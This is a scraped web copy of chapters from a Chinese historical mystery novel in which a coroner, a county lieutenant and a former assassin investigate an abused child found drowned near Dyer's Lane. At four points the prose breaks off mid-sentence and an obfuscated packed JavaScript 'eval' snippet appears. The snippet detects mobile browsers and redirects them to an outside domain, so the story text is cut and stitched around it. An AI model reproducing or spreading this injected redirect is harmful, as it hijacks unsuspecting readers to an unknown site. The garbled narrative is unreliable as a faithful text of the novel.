“什么打窝?打什么窝?”柳晏揉着眼睛下床,整个人迷迷瞪瞪的,腿还踢到了桌脚,疼得他一皱眉。 令狐朝伸手在他眼前晃了晃:“不是你说也要去钓鱼的吗?钓鱼不打窝你钓什么?学姜太公?” “啊?噢……想起来了。”柳晏又打了个哈欠,看了看桌上还没收起来的琴,走过去拨弄了一下,“晦言,你这琴不是从前那张了吗?” “不是了,这张是梓木的,不过弦还是丝弦。” 柳晏眼中划过一丝微不可查的失落,很快又笑着看他:“那我再送你一张,我有一张黑檀木的琴,很久之前,就预备着要留给你的。” 原以为令狐朝会拒绝,没想到他笑了笑说:“好啊,快去梳洗一下,头发都乱了。” 宋准这时从后门进来,看了看屋内:“柳公子既已经起来了,不如我们将床榻收回去,屋里有些转不开身了。” 柳晏转过头笑笑,“别柳公子柳公子了,多见外呀,我本身不姓柳的,你叫我稚言就好了。”他又转头看向令狐朝,“晦言也这样叫我,就像以前一样,好不好?” 令狐朝点了点头,“好。”抬眼又看向宋准,问道,“宋准的表字是什么?” “啊?……惟衡。” “是哪两个字?”柳晏问。 “允执厥中,惟精惟一。取公正权衡之意,惟衡。”宋准说起自己的表字,不免想到老师卫诚,这字是他为自己所立,是希望自己今后为官清正,走中正之道,如今坚守正道的老师已经故去,自己也必得延续他的遗志。 令狐朝又点了点头,说:“好字,想必是你的老师为你所立。” “令狐兄睿智,正是。”宋准也笑了笑,又立刻岔开了这个话题,“快将床榻挪一挪吧,我快直不起腰了。” 下午放了值,宋准骑马赶到了令狐朝所说的下游浅滩,远远就看见柳晏在河边跑来跑去的不知道在干什么,令狐朝蹲在一边的火堆旁捣鼓着,听见马蹄声,才转身向这边看来,向着宋准招了招手。 “快来!”令狐朝递给了宋准一把树枝做的鱼叉,道,“这个给你,稚言已经打好窝了,你们俩在浅的位置叉鱼,我去芦苇丛里钓鱼,这样成功的几率高些。” “好。”宋准接过鱼叉答应着,柳晏也过来了,他这才看见柳晏手里已经有一把鱼叉,上面还叉着条鱼。 柳晏把鱼拿下来递给令狐朝:“你可算来了,晦言果然没说错,这里的鱼很好捉,今天少说也能捉一篓。”说完他很俏皮地眨了眨眼,笑得很灿烂,他脸上没施妆,很干净漂亮的面庞。 令狐朝今日的头发似乎是柳晏帮他束的,耳朵上方有两条胡人才会梳的辫子,在他头上却丝毫不违和。宋准觉得令狐朝应是有些胡人的血统,他的皮肤那样白,发尾是卷曲的,瞳孔也透着些棕绿色。 这样想着,他便也问了出来,而令狐朝先是一愣,而后笑笑说:“或许吧,我也不清楚,不过鬼樊当初的据点在西凉,我身上有胡人血统也不奇怪。” 柳晏轻轻撞了一下宋准的肩膀:“走啦惟衡,捉鱼去。” 宋准脱了鞋袜下河,在石头中间寻觅着,昨夜才下了雨,河水稍有些浑,但还是能看见有鱼在石头中穿梭,偶也见螃蟹,不过都小得很,没什么可吃的,他便也没去抓。 柳晏在唱着首歌,似乎是西凉那边的曲子,词也是契丹语,听不懂唱的是什么,但从那曲调里似能看见一望无际的草原,有人在云下策马奔驰,挥鞭赶羊,风里吹来远处湖泊上的水汽,浸润了马上人的心。 起了些微风,岸边的芦苇丛便像水浪一般荡漾着,令狐朝在里面架好了鱼竿,甩钩出去没多久,就感觉有鱼咬钩了,费力收竿,感觉钓到个大家伙,很重,他便冲外面喊:“过来帮帮忙!拉不动竿了!” “肯定是条大鱼!”柳晏放下鱼叉就向芦苇丛里跑去,鞋子也没顾上穿,宋准紧随其后,跑进了芦苇丛,帮忙一起收竿。 在那大鱼将要出水面时,令狐朝就发现了不对,鱼咬钩不该是这样的,完全不挣扎,只是重,一股不好的预感瞬间浮上心头。 接近水面时,三人都瞧清楚了,哪里是什么鱼,分明是一具孩童的尸体,已经被水泡得发白,甚是骇人。 “你这钓鱼佬怎么除了鱼什么都能钓上来。”柳晏有些不满地嘟囔了一句,随即又帮着一起将那尸体拖到岸上来,宋准只看了一眼那尸体,便到一旁干呕着。 令狐朝眉头紧皱着,对柳晏说:“惟衡看不得这些,你带他回去取我的药箱和记簿来,我在这里守着。” “好。他骑了马,很快就能回来。”柳晏答应着,跑出去喊,“惟衡!牵马回晦言船上一趟!” 宋准压抑着呕吐的欲望,到一旁牵马载着柳晏一同回了船屋,拿上了药箱和记簿,又把自己的令牌给柳晏说:“稚言,你拿我的令牌去衙门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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令狐朝从验完尸就一直面色不佳,嘴唇紧抿着,眉头紧锁,蹲在水边不发一语,宋准唤他,他也毫无反应,走近了才看见,他浑身都在微微颤抖,双眼有些失神,呼吸都不太稳,呆滞地看着那孩子尸体被拉起来的位置,双手抱着腿,做出一副防御的姿态。 “令狐兄?令狐兄可是有什么不适?”宋准十分关切地问,他第一次见到令狐朝出现这样的情况,不免有些无措。 柳晏也发现了不对,几步跑过来蹲在令狐朝另一侧唤了声:“晦言?” 看到宋准的手正要拍上令狐朝的后背,柳晏立刻拦住了他的手,把他带到了旁边,压低了声音说:“坏了,看到那孩子,晦言定是想起以前的事情了,不要碰他,让他自己缓一缓。” “什么?什么以前的事?”宋准有些疑惑,但从柳晏的语气里能听出似乎是有些严重的事情,能让令狐朝变成这样,恐怕曾对他造成了很大的伤害。 柳晏叹了口气,给宋准讲了一些他们曾经在西凉的事情。 20. 染坊巷 令狐朝当初说的并不完全,柳晏是个有傲骨的,但只是相对于与柳晏同龄的孩子来说的,在鬼樊前楼主的眼里,令狐朝——也就是晦言,才是那头最难驯服的野兽。 他刚被带到鬼樊时,也就约莫五六岁的样子,一路上就已经在绝食,到了据点时已经奄奄一息,专门负责给那些孩子磨性子的副座将他一个人关到了地窖里,用铁链缚住了手脚,时不时殴打,一天只送一块胡饼一碗水进去,无非是吊着他的命让他死不了罢了。 鬼樊喜欢漂亮的孩子,是绝不会在能露出的皮肤上留下明显伤痕的,于是,大腿,手臂,后背,在那段时间通通没有一块好肉,只有那张脸,那双手脚依旧漂亮。 但令狐朝被这样关了多日,还像一头小兽一般,见到人就发狠地瞪着对方,手脚被缚住动弹不得,他就用牙咬,许多试图接近他的人都被他咬过,咬破皮肉,不见血绝不松口,任凭对方如何挣扎如何殴打他,他从来没屈服。 后来楼主听说了这件事,很欣赏他,又觉得始终这样下去不是办法,就给他下了些西域的秘药,让他忘记了从前的事,趁他昏睡时在他腰上刺下了刺青,但并不是蛾,而是一只蝶,并且把他带在身边亲自教养。 但那段在地窖里的日子还是在令狐朝的心里留下了不可磨灭的伤痛,他因此很厌恶别人的触碰,尤其年岁渐长些,他似乎慢慢记起了六岁以前的事情,越发厌恶在鬼樊的生活,最后一次的任务被追杀只是一个契机,他很早就想离开鬼樊了。 柳晏被拐到鬼樊时,令狐朝也就十岁多一点,他看到柳晏被拴在营帐外奄奄一息的样子,大概是又想到了什么,走过去解开了锁着他的链子,把他背回了自己的床上。 “我再醒来的时候就在晦言身旁,他看着我说,‘别怕,你只要装作顺从他们的样子,以后总有机会能逃跑的。’”柳晏如是说,“我没听进去,还在他手上咬了好重一口,现在还留着疤。” 宋准听到这里,心里已经是五味杂陈,回头看了一眼还在望着水面发愣的令狐朝,没说出来一个字。 “不过也不要太担心,让他缓一缓,缓过来就好了。”柳晏微微笑了一下,歪了下头说,“去跟他说说话吧,别碰到他就行了。” 说完,柳晏便回到令狐朝身边,蹲在他身侧,保持着一小段距离,轻声细语地问:“晦言,我给你唱《敕勒歌》好不好?”他似乎并没有想听令狐朝的回答,便自顾自地轻声唱着: 敕勒川,阴山下; 天似穹庐,笼盖四野。 天苍苍,野茫茫; 风吹草低见牛羊…… 正如令狐朝在吟兰苑时所说,柳晏的嗓子极好,马头琴声一般的尾音悠扬,有些像哽咽,像广袤天地的一呼一吸。 他从那样远的西北来,风沙都不曾摧折他的傲骨,在城中被排挤,被赶出县廨的日子,他是如何过来?独自住在义庄,又是如何过来?简陋的茅屋被暴雨冲垮,无处可去时,又是如何过来? 但,他就那样挺过来了。 宋准蹲在令狐朝身侧,依旧没有说出一句话,柳晏的歌唱完了,令狐朝叹了口气,哑着嗓子说:“惟衡,带我去衙门吧,那孩子的尸首有问题。” “我也去,晦言,我不放心你。”柳晏抬头看他。 令狐朝此时已经站起身,看到留言一脸担忧的样子,艰难地笑了笑,说:“好。” 停尸房里,柳晏趴在房梁上往下看,宋准在一旁空着的尸案上誊写初检验尸格目,令狐朝皱着眉仔细检查着那孩子的尸体,三人都没有说话,屋里静得出奇。 “惟衡,这孩子手腕上戴着一个小银锁。”令狐朝突然开口,宋准立刻放下笔走到他身边,查看那枚小银锁。 就是一个普通人家都会给孩子戴的长命锁,并无太多特别,只是在银锁的背面刻着小小的“三槐堂”三字,看来是打造这银锁的银器店的名字。 “三槐堂?”宋准缓缓念出这三个字,仔细在脑中回忆着,这间店铺是否曾在集市上见过。 柳晏的声音从房梁上来,“三槐堂啊,我知道。”说完他跳下来,拿过那银锁看了看还给宋准,“就在染坊巷的巷口,是个打首饰的小作坊。” “染坊巷?”令狐朝震惊道,随后抓起那孩子的手说,“看她的指甲缝里,有些靛蓝的颜色,方才我还疑心,若这孩子是染坊巷的,那就说得通了。” 宋准听了立刻应道:“我现在就带人拿画像去染坊巷挨家挨户问!” 天光已经渐渐暗了,西边的云霞染上了紫灰色,一行捕快跟在宋准后面,往城南的染坊巷去。 在临安城里,许多做手工业的人家都会选择聚居在一坊,于是便有了染坊巷、织锦纺、扇子巷、打铁坊这样的地方,若要买相应的东西,可以直接去这样的坊中挑选,样式又多,价格也实惠。 这个时候,巷子里的店铺都在收拾东西准备关门了,宋准拿出画像问一家铺子门口正在收拾东西的男人:“店家,您可知道这孩子是谁家的吗?大概五六岁的样子。” 男人凑近那画像看了看,露出疑惑的神情:“呃…看着面生啊,这附近的孩子我都认得,这不是我们这儿的孩子吧。” “好,多谢了。”宋准收起画像,又问了好几家,都得到了类似的回答,难道这孩子真不是这儿的? 一路问到巷子尽头,还没有找到认识这孩子的人,陈捕头忽然说了句:“不会是令狐仵作验错了吧……” “不会,我相信他的判断,一定是还有什么东西我们没注意到。”宋准摇摇头,不知道什时候皱起了眉头,究竟是哪一步不对? 这时从边上一条窄弄堂里窜出来几个追逐嬉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509382|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打的孩子,跑过宋准一行人身边,宋准立刻叫道:“孩子们,孩子们来一下。” 那几个孩子停了下来,看到是官府的人,都愣愣定在原地不敢动弹,宋准从身上摸出几块饴糖来,给孩子们分了,他们才放松了警惕。 宋准展开画像柔声问:“孩子们,你们有没有见过她?知道她是谁家的吗?” 为首的一个大一点的小男孩儿看了看这画像,咬着糖块儿含糊不清地说:“我见过她!前几日,我去给阿娘送饭时,她在织坊的柴房里往外看,我还过去跟她说话了呢。” “你们都说什么了?” 那孩子咽了口唾沫,说:“我问她为什么在柴房里,要不要出来玩儿,她还没说话,我就被阿娘拉走了,阿娘不让我跟她说话。” “好孩子,能带我去你家找你阿娘问个话吗?”宋准说。 “可以啊,但是阿娘这时候怕还没下工呢,我带你去织坊找她。”那孩子很是热情,三两句话就跟宋准混熟,拉着他的手就要带他去织坊,宋准跟着他七拐八拐,到了一处不起眼的小院门口。 “阿娘!阿娘!有一个官老爷想问你几句话!”那孩子一进院子就大喊,不多时从旁边的屋里出来一个妇人,穿着普通的灰色窄襦和长裙,对着那孩子说:“瞎喊什么呢莲哥儿,哪儿来的什么官老爷。” 被唤作莲哥儿的孩子指指门口,那妇人看过来,宋准向她微微一颔首,她看清了他身上的县尉服制,立刻走近了行礼:“民妇李三娘见过县尉。” “您先起来吧,我是想问问您,是否见过这个孩子。”宋准将画像展开递给她,仔细观察着她的表情,生怕遗漏哪些细节。 李三娘接过画像,倒是没做任何隐瞒似的答道:“这孩子前几日是在织坊,但已经被她的家人接走了。” “嗯?那您可知道她家在何处?” “这…民妇不知,这孩子是坊主带回来的,瞧着似乎是坊主的亲戚,我们便也没多问。” 宋准看着她的脸,看不出任何闪躲或者逃避的神色,应该没有撒谎,于是宋准便叫她将坊主叫来,她却说:“坊主半月前离开了,说要回乡一段时日,现下还没回来呢。” “坊中没一个人知道坊主家乡在哪吗?”宋准问,他此时已经有了些不太好的预感,但说不清道不明的,也不好因此强行带人回衙门去,况且还有孩子在。 李三娘摇摇头:“从未听坊主提起过,但坊主说话并不是临安口音,听着有些像是苏州那边的,不过民妇也未曾去过苏州,只是听旁人说的。” “好,多谢你了。这几日下雨河道涨水,别让孩子去河边玩。”宋准道。 “是,多谢县尉关怀。”李三娘点点头,招手把莲哥儿叫来,“向县尉行礼。” 莲哥儿十分乖巧地一作揖:“多谢县尉大人。” 21. 三槐堂 天色已经完全暗下来了,将李三娘母子送回家去,宋准带着陈捕头到了染坊巷口的三槐堂,准备进去问问情况,却不想这三槐堂大门紧闭,楼上居所也不见灯火,一问之下才知道是掌柜的回乡探亲了,这几日都不在。 “怎么这个也回乡探亲?”陈捕头烦躁地嘟囔了一句。 宋准的眉头再一次皱紧了,向周围邻居又打听这掌柜的家乡在哪儿,邻居们都一脸茫然。 “是苏州哦。”一个稚嫩的童声从旁传来,宋准低头去看,是一个个头才到他腰间的小姑娘,手里拿着个风车,正笑眯眯地看着他。 “诶?小姑娘,你怎么知道的?”陈捕头走近她,蹲下询问。 小姑娘还是那样笑着,甜甜地说:“我就是知道。”说完她就一蹦一跳地跑走了,消失在了黑暗里。 陈捕头一愣,起身看向宋准:“这孩子怎么怪怪的。” “无妨,苏州那边,派人送文书去贴个告示吧,总归试试看,也得找到她父母,好让孩子入土为安。”宋准很是无奈地摇摇头,说,“陈捕头,时候不早了,你也先回家去吧,明日再接着查。” “哎,好,县尉也早些休息。”陈捕头行礼之后就向自己家的方向走了,宋准晃荡着回县廨,路过夜市,看到有卖青团的,就买了几个。快到清明了,也没法儿去给老师扫墓,老师甚至没有墓冢。 这样想着,他叹了口气,却只能继续向前走。 回到县廨,宋准收拾完泡在浴桶里发愣,那是他平日里为数不多的足够放松的时间,他整个人埋进水里,耳边都被水封住,只能听见心跳和水流的闷响。 窗外好像隐约有些奇怪的动静,像是□□叫。 “呱—呱—宋惟衡—呱—” …… 柳晏。 “稚言,不要装神弄鬼了。”宋准从浴桶中出来,披上里衣打开了浴室的门,果然看到柳晏一身夜行服,蹲在窗下鬼鬼祟祟的。 “这么晚了,你在这里干什么?”宋准问。 柳晏站起身冲他笑了笑,从怀里拿出令狐朝的记簿递给他:“晦言让我拿给你的,你走了之后他在尸体上还发现了些东西,都记在里面了,你看看。” 宋准接过记簿,就着月光粗略看了看,抬头问他:“他怎么样了?他今日状态一直不太好。” “别担心,已经睡下了,没什么大碍,都是以前那些破事儿闹的。”柳晏一歪头,视线划过宋准裸露出来的胸膛,肌肉分明,看起来很结实,“身材不错嘛惟衡。” 他露出个看起来很坏的笑,还微不可查地舔了舔嘴唇。 “啊?”宋准一愣,随即反应过来他是在干什么,立刻将衣服拢了拢道,“柳晏!你在看什么?” “没什么呀,我得回吟兰苑去接客了,明日见~”柳晏说完便跳上房顶不见了,留宋准在原地十分无奈地抹了把脸,返回浴室拿上衣服回了卧房。 在案前点上灯,宋准开始翻着那本记簿,最后一页上写着今日令狐朝验出来的信息,一条一条看着,发现了有些怪异的内容。 “左脚踝处烙印疤痕疑似为‘赔钱货’三字。”念出这一句,他心里就有了些猜测,女童,身上有很多淤青,溺死在水里,虽说手上戴着长命锁,但也很明显看出这孩子在生前一定是遭受了虐待的。 再往下看,记簿上还写着“依身形看大概是五岁,但依齿序看,年龄应当为八岁。应是长期挨饿营养不足所导致的身形瘦小。” 除了这些,还有一些其他初检时没发现的细节,平日里都在记簿上胡乱标记的令狐朝,却将这孩子的信息一条一条仔仔细细地写得很规矩。 不知道被什么驱使着,宋准鬼使神差地翻了翻记簿前面的内容,前几页写着琴谱,他看不大懂,慢慢往后翻,里面的内容和他第一次看时一样,五花八门什么都有,看着看着,有一页里内容引起了他的注意。 “梦中我非我,是蝶梦中我。” 十分意义不明的一句话,旁边用朱笔勾勒着一只蝶,和一朵他从未见过的花,除此之外,这一页上再无其他的内容,不像其他,都几乎写满了东西。 宋准隐约觉得,令狐朝心里或许藏着很多事儿,只是从不将其示人。 那日柳晏说起他的腿伤时,指了指令狐朝的腰,是他腰上也有这样的伤吗? 巷子里打更人经过,已经是三更天了,外面安静极了,只有打更人的声音回荡着。宋准合上记簿熄了灯,回榻上睡下了。 次日天刚亮,他便醒了,令狐朝那边他不太放心,还是想过去瞧瞧,梳洗完刚出了县廨,就看到令狐朝背着药箱的身影从街上过来了,他手上似乎还提着什么东西,步子很快,像是怕赶不上什么。 “令狐兄!”他叫了他一声,步履匆忙的人脚步停下,初升的太阳照在他身上,给他镀了层金边,看不清他脸上的表情,只看见他点了点头。 宋准走近了他,问:“令狐兄,是要去做复检吗?” “嗯。我总觉得事情没那么简单,可能有我遗漏的东西。”令狐朝抿了抿嘴,提了一下手上拿的东西,“准备了些东西,再验验她身上的伤迹。” “我随你同去。” “好。” 停尸房里,令狐朝将那些东西一一拿出来,指挥着宋准点炭炉,在尸体上垫纸。 “用葱、盐、胡椒、白梅和酒糟拌在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509383|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起研烂做成饼子,在火上烤热,敷在尸体上,生前的伤痕就会显现出来了。”令狐朝一边解释着,一边在研钵中捣着那些东西,宋准已经生好了炭炉,接过令狐朝递给他的白梅饼,在火上炙烤。 “令狐兄,昨日我去查过了染坊巷,有家织坊的女工说这孩子是她们坊主亲戚的孩子,几日前已经带着这孩子回了苏州老家。巷口的三槐堂闭门歇业,有一个小女孩儿说他们去了苏州探亲。” “嗯。”令狐朝点了点头,并未发表任何看法。 “稚言昨夜将你的记簿送来给我看了,我觉得这孩子并非如那名女工所说是坊主亲戚的孩子,否则,孩子丢了为何不返回来找?衙门也未曾接到任何报案。” 令狐朝已经将白梅饼敷烫在女童尸体的后背上,依旧没有说出任何自己的想法,只是掀开已经温热的白梅饼和纸,看着女童后背上那些触目惊心的伤痕发愣。 “你看,这里是一个鞋印。”令狐朝说。 他手指的位置是女童后肩胛骨上方,那里有一个很明显的发红发青的伤痕,并不太完整。令狐朝用手隔空勾勒出了形状,是一个大人的鞋印不假。 “手腕上这是一个手印,是用力拖拽之后留下的。她的手上有很多茧子,应该是常年做粗活,小小年纪,受了这么多苦。” 令狐朝指着那些显现出来的伤痕,一一给宋准讲了成因,在她身上,甚至找不到一块没有受过伤的位置,连头发都秃了一小块,令狐朝说,那是被扯掉的。 “背后的鞋印应当是凶手从孩子背后将其踹进了河里,而并不是孩子失足落水,结合她身上的其他伤,大概就是一个成年人拽着她的手,将她拖拽了一路,走到河边时发生了争执,这个大人便将她踹进了河里。” 宋准已经看不下去了,拿着笔的手都有些颤抖,令狐朝说完这些之后也沉默了,一时间,停尸房里寂静无声,后街的巷子里远远地传来孩子嬉闹的声音,落在耳里那样清晰。 “我想去一趟苏州,将织坊坊主找回来。”宋准说。 “告示不是已经贴出去了吗?去一趟少说也要两日,回来又需两日,若是你刚走他们便回来了呢?”令狐朝终于开口说了些别的话,他脸上蒙着白布,声音从那下面传出来有些不太真切,“留在临安守株待兔吧,他们的产业在这儿,不可能一去不返。” 令狐朝说的话在理,宋准思索了一阵,点头称是。 “令狐兄,那我便再去织坊附近守着,看看能不能听到些消息。” “我与你同去。”令狐朝说着已经开始收拾他的药箱,“尸体上的线索已经基本验出了,我留在这也无用。” 宋准点点头:“好。” 22. 七星坠处 二人都乔装打扮换了不显眼的衣服,潜到染坊巷那间织坊的后街,四下查探后爬上了房顶,观察着院中的情况。 这时候女工们已经开始上工了,织锦纺纱的声音有规律地响起,她们也不怎么说话,都在安静地做自己手上的活。 看了许久,正以为不会有什么结果的时候,有些女工开始唱起一支歌,渐渐地大家都参与了进来,轻声唱着。 宋准听着那歌词,仿佛是这样的: “娘娘邀吾采茶哟,卖茶换回吾嫁妆;吾家囡囡眯眯哭,唤吾周娘娘。周娘娘哎,尔为何不说话,周娘娘哎,吾还想再归家,吾还想再归家……” 听清了那歌词,宋准和令狐朝对视一眼,都觉得其中有别的含义,这时院子里突然出来了一个女工,抬头向他们的方向看来,二人立刻跳下了房顶,离开了织坊的范围。 “她们唱的歌听起来让人觉得有些凄凉,感觉哪里怪怪的。”宋准说。 令狐朝微微皱了眉,低声道:“这是清商乐中的侧调,商声又略下裂,到了第三叠本该走南吕均,但却强入了黄钟煞尾……” “啊?什…什么黄什么尾?”宋准听得一头雾水,全然不懂他说的是什么东西。 令狐朝从怀里掏出来他的记簿,翻到前面的琴谱对他说:“这种手法,前朝乐工常用来指代方位,工尺谱上那些被强调的音里,可能就是一个重要信息。” 他说着,拿出记笔在纸上写下她们所唱的曲调,破碎的音组合排列,每隔三音便暗合了北斗方位。 不久,他看着那页工尺谱,幽幽地说了句:“北三十里,七星坠处。” “北三十里?那是什么地方?”宋准问。 令狐朝摇了摇头,又说:“不知道。我也不确定是不是我多想了,但那曲子无论是词还是调式都不太对劲,还是要查一查。” “这好办,我易容混进去,跟她们打好关系套话就好了。” “这法子倒可行,但是你易容的话…她们中有人见过你,怕是不妥。”令狐朝又摇了摇头,说,“让稚言去,他易容起来得心应手,又会变声,做起来稳妥些。” “他能同意吗?” “不同意也得同意,走,去吟兰苑。”令狐朝说完就往回走,宋准在他后面亦步亦趋地跟着。 抄了近道,不多时就到了吟兰苑后街,此时吟兰苑正是关门歇业的时候,前门是进不去的,不过柳晏曾给过他们后街角门的钥匙,方便了很多。 二人从角门进去,从暗道里直接进了柳晏的房间,暗道口打开,屋里门窗紧闭,静悄悄的,只有柳晏睡得很沉的呼吸声,他在榻上四仰八叉地躺着,一只手和一只脚都伸在被子外面,悬在榻边。 “稚言,醒醒。”令狐朝在榻边推推他,他嘴里咕囔着“嗯~别闹”,翻了个身继续睡。 于是令狐朝俯身离他近了些,用契丹语不知道说了句什么,柳晏猛地睁开眼坐起身,宋准还没有看清,一把刀就抵在了令狐朝脖颈上。 看到是令狐朝,柳晏松手躺了下去,刀掉在地上发出一声脆响,他用手捂着眼睛嘟嘟囔囔说:“啊,晦言,怎么是你啊,大清早的开这种玩笑不好。” “啊欠~”他打了个很长的哈欠,黏糊糊地说,“昨晚太累了,让我再睡会儿,桌上有点心,饿了就去吃,啊。”说完又躺下去,还不忘拽拽被子。 令狐朝坐在榻边一把把他拽起来,晃了晃他的身子说:“有件大事需要你去办,而且只有你能办到。” “啊?什么啊?捎信一百买菜二十杀人十万灭门百万。”柳晏困得睁不开眼,报菜名似的说了一堆价钱,“鬼樊楼的价,你不是清楚吗,啊欠…请楼主办事,再添一倍就是了。” 他晃晃悠悠地向前栽倒下去,正趴在令狐朝肩膀上,被令狐朝扶着肩膀推起来,他又往侧面倒去,结果头撞在了床栏上,立刻清醒了。 “啊!好疼!”柳晏捂着脑袋,十分委屈地抱怨,“呜呜呜,好疼……你说要我做什么,我去就是了,不收钱。” 令狐朝拿开他捂在脑袋上的手,额角磕红了,两眼泪汪汪的。 “好了好了,不是故意的,给你敷些药吧,别哭了啊。”令狐朝轻声安慰着他,从怀里拿出伤药来倒在那处发红的皮肤上,跟他说,“想让你扮女装去织坊打探一下消息,我们刚从那边过来,那些女工唱的歌里有蹊跷。” 宋准将他昨日的发现和那些女工的唱词给柳晏讲了一遍,说:“我和令狐兄商议,觉得这件事有你相助的话,会更好些。” “这样吗…我去就是了,要什么时候去?你们在哪里接应?我都需要做什么?”柳晏问。 “当然越早去越好,你就说你是去找工做的,进去之后和其他的女工搞好关系,问问她们知不知道那个小女孩儿的事儿,问问她们那歌是怎么回事。”令狐朝说着,拿出记簿上的工尺谱给他看,“看这个,这个指示你看得懂的,就是不知道是不是我们多想。” 宋准又在旁补充道:“我去这上面指引的方向看看究竟是什么,分头行动,令狐兄随稚言同去织坊吧,她们没见过你们,不会打草惊蛇。” “好。”柳晏答应得爽快,从榻上起来开始梳洗,怕他装扮太过,令狐朝和宋准都在一旁盯着他。 “别施这么重的妆,你现在是去找工的落魄农户女。”令狐朝道。 柳晏撇撇嘴:“我觉都没睡够,这眼下乌黑,这胡青,不施妆遮不严。脖子上还有疤呢…” “不用遮这疤。”宋准眼前一亮,道,“这样你这不就有凄惨身世了吗,这样更容易引起同情,好尽快让她们信任你。” “宋县尉以为是唱大戏吗,好赌的爹、逃跑的娘、贫苦的家庭和破碎的我?”柳晏又不满地撇了撇嘴,“你好像深谙这一套啊,用这招骗了不少好人家姑娘吧。” 说完他十分了然似的坏笑着,宋准急着争辩道:“说什么呢,我都没定过亲,上哪骗姑娘。” 柳晏还是坏笑着不说话,对镜擦去了一些过多的脂粉,在眼下点了些胭脂,看着十分楚楚可怜,乌黑的头发被他盘成一个简单的双月髻,戴了朵很朴素的绢花,除了那张美得不可方物的脸,这打扮看着就像是普通的农家女孩子。 做完这些,柳晏还是习惯性地转头问令狐朝:“晦言,我还漂亮吗?” 令狐朝瞧了一眼,见他收拾好了,立刻就要把他带出去:“漂亮漂亮。收拾好了就快走。惟衡你骑马去,快去快回,结束了我们就在织坊后街汇合。” “哎等等等等,我的丝带!”柳晏还是在走之前用丝带遮住了脖颈上的疤痕,他说,不想随意利用别人的同情去达成自己的目的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509384|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宋准回县廨骑了马出城向北,三十里地不消半个时辰便到了,这处是一个山坳,有河水自山脚下流过。 工尺谱对应的后半句“七星坠处”,令狐朝嘱咐过,这个时节北斗七星指向正东偏南的乙位,那么就应该是…… 一处山壁? 宋准走到近前仔细查看,确实是一块极普通的山壁,碎裂处生了青苔,有几片草叶从里面伸出来,脚下就是河滩上的卵石,毫无特别之处,不要说可能有机关或者山洞,就是连人活动的痕迹都没有。 担心是自己没找对方位,宋准又仔细查看了一大圈,就差把地皮翻起来了,还是一无所获。 “难道真的是我们想太多了?”他喃喃着,这时已经是正午,日头晒得厉害,让人心里觉得没来由的烦躁,他便解开了护腕,将袖子卷到了肩上。 柳晏和令狐朝那边进展倒也算顺利,柳晏又化名小蛮,说是家中双亲去世,积蓄都变卖了用于埋葬双亲,家里又无田地,没了收入,于是进城找个活干。 织坊里的女工看她楚楚可怜的模样,忙将她带进去,昨日那位李三娘在织坊中说得上几句话,她有些警惕地看着小蛮,问她:“姑娘是从哪来?怎么找到这儿的?” 小蛮低着头,手握住颈间垂落地丝带,小声应道:“我家是从北方来的,爹娘都故去了,我听说染坊巷常年招工,就来碰碰运气。” “会织锦纺纱吗?”李三娘又问。 “会一点,啊,印染也可以的,我学东西很快的。”小蛮露出期待的眼神看向李三娘,语气也十分诚恳,“姐姐,我不要很多的工钱,只要养得活我自己就可以的。” 李三娘看了看她,叹了口气道:“难为你这姑娘了,生得这样漂亮,在外面定不安全的,你今日便先试工吧,但要是做的不好,我可不能留你。” “嗯嗯!自然的!谢谢姐姐!”小蛮笑起来,用力点了点头。 令狐朝在不远处的房顶上看着院中的情况,屋里的人说的什么他听不清,但看着柳晏一直没出来,就知道他是留下了。 他自然是不担心柳晏演不好的,从前在鬼樊,出任务卧底,一旦被发现了是会丢命的,扮女装都只是最基本的,那些常被算计的王公贵族都不一定能看出他们的伪装,更别说平常根本接触不到他们的普通百姓了。 未时三刻,宋准赶到了织坊的后街,吹了声鸟哨呼唤令狐朝,他从不远处的房顶上探了探头,看到是宋准,便从上面一跃而下,三步并作两步跑到他身侧。 “怎么样?找到什么了吗?”令狐朝微微喘着气问。 宋准皱眉摇摇头:“什么也没有,那个位置是一处很普通的石壁,我担心是我没找对方向,又把那附近都摸了个遍,确实什么也没有。” 令狐朝看他脸色不太好,拍了拍他肩膀说:“无妨,稚言已经混进去了,总有一边能打探出来消息。方才你从那边过来,三槐堂开门了吗?” 